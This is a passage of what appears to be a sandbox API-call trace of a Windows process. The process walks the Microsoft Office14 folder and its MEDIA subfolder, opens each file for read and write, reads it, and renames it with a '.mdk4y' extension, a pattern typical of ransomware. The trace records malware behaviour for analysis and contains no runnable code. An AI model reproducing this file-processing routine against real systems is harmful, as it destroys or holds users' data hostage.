dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0225.028] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830025800000) returned 1 [0225.028] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xb590, lpOverlapped=0x0) returned 1 [0225.068] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830029800000) returned 1 [0225.069] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830029800000) returned 1 [0225.069] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\LOGMODEL.MDL" (normalized: "c:\\program files\\microsoft office\\office14\\logmodel.mdl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\LOGMODEL.MDL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\logmodel.mdl.mdk4y")) returned 1 [0225.073] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0225.087] AreFileApisANSI () returned 1 [0225.087] GetACP () returned 0x4e4 [0225.087] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="LOGVIEW.DLL", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="LOGVIEW.DLLL", lpUsedDefaultChar=0x37dfd8) returned 11 [0225.087] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\LOGVIEW.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\logview.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0225.088] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830031800000) returned 1 [0225.088] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x77da8, lpOverlapped=0x0) returned 1 [0225.121] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830035100000) returned 1 [0225.121] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830035100000) returned 1 [0225.127] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\LOGVIEW.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\logview.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\LOGVIEW.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\logview.dll.mdk4y")) returned 1 [0225.131] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0225.131] AreFileApisANSI () returned 1 [0225.131] GetACP () returned 0x4e4 [0225.131] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="LOOKUP.DAT", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="LOOKUP.DATL", lpUsedDefaultChar=0x37dfd8) returned 10 [0225.131] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\LOOKUP.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\lookup.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0225.133] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830036300000) returned 1 [0225.134] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x10000, lpOverlapped=0x0) returned 1 [0225.147] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830037700000) returned 1 [0225.147] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830037700000) returned 1 [0225.148] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\LOOKUP.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\lookup.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\LOOKUP.DAT.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\lookup.dat.mdk4y")) returned 1 [0225.151] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0225.151] AreFileApisANSI () returned 1 [0225.151] GetACP () returned 0x4e4 [0225.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MAPIPH.DLL", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="MAPIPH.DLL", lpUsedDefaultChar=0x37dfd8) returned 10 [0225.151] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\mapiph.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0225.152] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830038200000) returned 1 [0225.152] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x65da0, lpOverlapped=0x0) returned 1 [0225.172] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830040200000) returned 1 [0225.172] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830040200000) returned 1 [0225.176] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\mapiph.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MAPIPH.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\mapiph.dll.mdk4y")) returned 1 [0225.201] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0225.201] AreFileApisANSI () returned 1 [0225.201] GetACP () returned 0x4e4 [0225.201] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MAPISHELL.DLL", cchWideChar=13, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="MAPISHELL.DLLemas14.xss", lpUsedDefaultChar=0x37dfd8) returned 13 [0225.201] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\mapishell.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0225.203] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830043300000) returned 1 [0225.203] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x473d0, lpOverlapped=0x0) returned 1 [0225.242] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830047200000) returned 1 [0225.243] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830047300000) returned 1 [0225.246] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\mapishell.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MAPISHELL.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\mapishell.dll.mdk4y")) returned 1 [0225.248] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0225.248] AreFileApisANSI () returned 1 [0225.248] GetACP () returned 0x4e4 [0225.248] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MCPS.DLL", cchWideChar=8, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="MCPS.DLLL.DLL", lpUsedDefaultChar=0x37dfd8) returned 8 [0225.248] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\mcps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0225.249] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830047900000) returned 1 [0225.249] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x23570, lpOverlapped=0x0) returned 1 [0225.251] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830048100000) returned 1 [0225.251] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830048100000) returned 1 [0225.252] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\mcps.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MCPS.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\mcps.dll.mdk4y")) returned 1 [0225.253] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0225.254] AreFileApisANSI () returned 1 [0225.254] GetACP () returned 0x4e4 [0225.254] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MEDCAT.DLL", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="MEDCAT.DLLDLL", lpUsedDefaultChar=0x37dfd8) returned 10 [0225.254] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDCAT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\medcat.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0225.255] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830048500000) returned 1 [0225.255] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xfdb68, lpOverlapped=0x0) returned 1 [0225.321] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830055100000) returned 1 [0225.321] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830055100000) returned 1 [0225.329] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDCAT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\medcat.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDCAT.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\medcat.dll.mdk4y")) returned 1 [0225.332] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0225.332] AreFileApisANSI () returned 1 [0225.332] GetACP () returned 0x4e4 [0225.332] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MEDIA", cchWideChar=5, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="MEDIAT.DLL", lpUsedDefaultChar=0x37dfd8) returned 5 [0225.332] AreFileApisANSI () returned 1 [0225.332] GetACP () returned 0x4e4 [0225.332] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=49, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned 49 [0225.349] AreFileApisANSI () returned 1 [0225.349] GetACP () returned 0x4e4 [0225.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37df4c) returned 1 [0225.349] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0225.349] AreFileApisANSI () returned 1 [0225.349] GetACP () returned 0x4e4 [0225.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..:", lpUsedDefaultChar=0x37df4c) returned 2 [0225.349] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0225.349] AreFileApisANSI () returned 1 [0225.349] GetACP () returned 0x4e4 [0225.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="APPLAUSE.WAV", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="APPLAUSE.WAVg", lpUsedDefaultChar=0x37df4c) returned 12 [0225.349] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\APPLAUSE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\applause.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0225.355] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830058500000) returned 1 [0225.355] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6daa, lpOverlapped=0x0) returned 1 [0225.361] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830059100000) returned 1 [0225.361] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830059100000) returned 1 [0225.361] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\APPLAUSE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\applause.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\APPLAUSE.WAV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\media\\applause.wav.mdk4y")) returned 1 [0225.363] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0225.363] AreFileApisANSI () returned 1 [0225.363] GetACP () returned 0x4e4 [0225.363] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ARROW.WAV", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ARROW.WAVWAV", lpUsedDefaultChar=0x37df4c) returned 9 [0225.363] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\arrow.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0225.364] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830059400000) returned 1 [0225.364] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x59f6, lpOverlapped=0x0) returned 1 [0225.366] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830059600000) returned 1 [0225.366] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830059600000) returned 1 [0225.367] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\arrow.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\media\\arrow.wav.mdk4y")) returned 1 [0225.368] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0225.368] AreFileApisANSI () returned 1 [0225.368] GetACP () returned 0x4e4 [0225.368] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BOMB.WAV", cchWideChar=8, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BOMB.WAVV", lpUsedDefaultChar=0x37df4c) returned 8 [0225.368] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\bomb.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0225.369] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830059900000) returned 1 [0225.369] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2f676, lpOverlapped=0x0) returned 1 [0225.382] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830061200000) returned 1 [0225.382] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830061200000) returned 1 [0225.384] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\bomb.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\media\\bomb.wav.mdk4y")) returned 1 [0225.385] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0225.385] AreFileApisANSI () returned 1 [0225.385] GetACP () returned 0x4e4 [0225.385] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BREEZE.WAV", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BREEZE.WAVAV", lpUsedDefaultChar=0x37df4c) returned 10 [0225.385] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\breeze.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0225.386] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830061600000) returned 1 [0225.386] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x10c2, lpOverlapped=0x0) returned 1 [0225.391] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830062100000) returned 1 [0225.391] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830062100000) returned 1 [0225.392] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\breeze.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\media\\breeze.wav.mdk4y")) returned 1 [0225.393] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0225.393] AreFileApisANSI () returned 1 [0225.393] GetACP () returned 0x4e4 [0225.393] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CAMERA.WAV", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="CAMERA.WAV", lpUsedDefaultChar=0x37df4c) returned 10 [0225.393] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\camera.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0225.394] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830062400000) returned 1 [0225.394] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1594, lpOverlapped=0x0) returned 1 [0225.414] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830064400000) returned 1 [0225.414] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830064400000) returned 1 [0225.417] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\camera.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\media\\camera.wav.mdk4y")) returned 1 [0225.419] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0225.419] AreFileApisANSI () returned 1 [0225.419] GetACP () returned 0x4e4 [0225.419] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CASHREG.WAV", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="CASHREG.WAVV", lpUsedDefaultChar=0x37df4c) returned 11 [0225.419] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\cashreg.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0225.420] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830065000000) returned 1 [0225.420] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1d7f, lpOverlapped=0x0) returned 1 [0225.430] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830066000000) returned 1 [0225.430] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830066000000) returned 1 [0225.430] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\cashreg.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\media\\cashreg.wav.mdk4y")) returned 1 [0225.431] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0225.431] AreFileApisANSI () returned 1 [0225.431] GetACP () returned 0x4e4 [0225.431] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CHIMES.WAV", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="CHIMES.WAVV", lpUsedDefaultChar=0x37df4c) returned 10 [0225.431] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\chimes.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0225.432] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830066200000) returned 1 [0225.432] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x91be, lpOverlapped=0x0) returned 1 [0225.434] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830066400000) returned 1 [0225.434] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830066400000) returned 1 [0225.434] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\chimes.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\media\\chimes.wav.mdk4y")) returned 1 [0225.436] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0225.436] AreFileApisANSI () returned 1 [0225.436] GetACP () returned 0x4e4 [0225.436] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CLICK.WAV", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="CLICK.WAVV", lpUsedDefaultChar=0x37df4c) returned 9 [0225.436] 